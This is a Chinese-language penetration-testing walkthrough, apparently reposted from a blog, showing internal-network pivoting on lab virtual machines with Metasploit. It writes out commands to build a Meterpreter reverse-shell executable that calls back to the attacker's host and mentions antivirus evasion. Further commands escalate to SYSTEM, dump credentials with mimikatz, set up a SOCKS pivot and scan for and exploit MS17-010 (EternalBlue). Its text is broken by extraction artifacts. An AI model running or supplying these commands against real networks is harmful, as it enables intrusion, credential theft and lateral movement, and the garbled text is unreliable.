内网渗透的一次记录 作者jaky

1、 内网渗透的一次记录作者：Jaky原 文 链 接 ：/s? biz=MzI2OTMzNjg4OQ=&mid=2247484629&idx=1&sn=e429c190a820e5b37950f6a2d599fb64&chksm=eae0ac83dd972595c984f897d6bbde071eab4ea759d45961a3db48d9b635a784bce430cf0477&mpshare=1&scene=1&srcid=&sharer_sharetime=1569210110309&sharer_sh 收集整理：http:/www.nmd5.c

2、om/test/index.php本文由 干货0x00:前言在对目标进行渗透 时 ，一般 情况下，我们首先获得对方 服务器的webshell或者反弹shell，如果权限比较低，则需要进行权限提升；后续再对目标服务器进行进一步的权限控制。 比如布置后门、 跳板、 维持权限等 ；我这就简单的就靶机演示一下内网的渗透。 0x01:环境准备1、利用msf生成远控木马。 如果对方服务器有杀软，还需要进行shellcode编码或者进行做免杀处理，不然马 上不去。 命令：msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=IP lport=5155 -

3、f exe -o ./system64.exe“IP”为你自己kali的“外网”IP2、把生成的马 放上对方的服务器上。 1 3、kali中kali开启模式2 我是在服务器中部署了kali，所以IP已经是“外网”的 3 执行“exploit”就获取到了会话 （别问为什么不继续，因为靶机出不去“外网”只能自己虚拟机搭建环境演示。） 4、下面我演示的是自己内网的一台虚拟机。我也在同网段开启了三台机器来模拟内网。 4 5 6 2008 R2 虚拟机的IP是7kali环境的准备use exploit/multi/handlerset payload windows/x64/m

4、eterpreter_reverse_tcpset lhost 1set lport 5155exploitKali执行“exploit”开启模式 然后去对方服务器执行“luomiweixiong.exe”木马7 获取到会话0x02:深入内网1、首先要获取目前的权限，当然手上的权限越大，越方便。 这里可以利用getsystem获取到system最高权限。 2、查验是否为虚拟机 run checkvm8 这里可以看到对方为虚拟机 3、查网段run get_local_subnets对方为/24网段 4、获取路由信息run get_local_s

5、ubnets5、自动添加路由信息9 run post/multi/manage/autoroute6、查看路由信息run autoroute -p7、获取凭证load mimikatzwdigest10 这里打码的地方是我虚拟机的明文 这里就不展示了 8、流量跳板首先要通过socks4进行流量转发出来 11 12 backgrounduse auxiliary/server/socks4ashow optionsset srvhost 7runnetstat -antp | grep 108013 跳板准备完毕14 9、进程迁移15 16 绑定进程：migratepi

6、d10、内网IP存活检测17 先将网段加进路由表 18 IP段端口简单检测19 使用MSF检测IP段MS17010漏洞：use auxiliary/scanner/smb/smb_ms17_010 show optionsset rhosts IP段/24set threads 50run20 0的445端口开启着（它是我的win7虚拟机）进一步利用use exploit/windows/smb/ms17_010_eternalblueset rhost 0run21 最后会获取到会话，这样就完成了一次跳跃。获取到会话后，就可以按上面的命令进行获取信息了。比如获取用户名，进程等。 。 如果对方是利用路由做的IP二次动态分配，比如，/24分配了/24。那么也有办法进行纵向的渗透。 这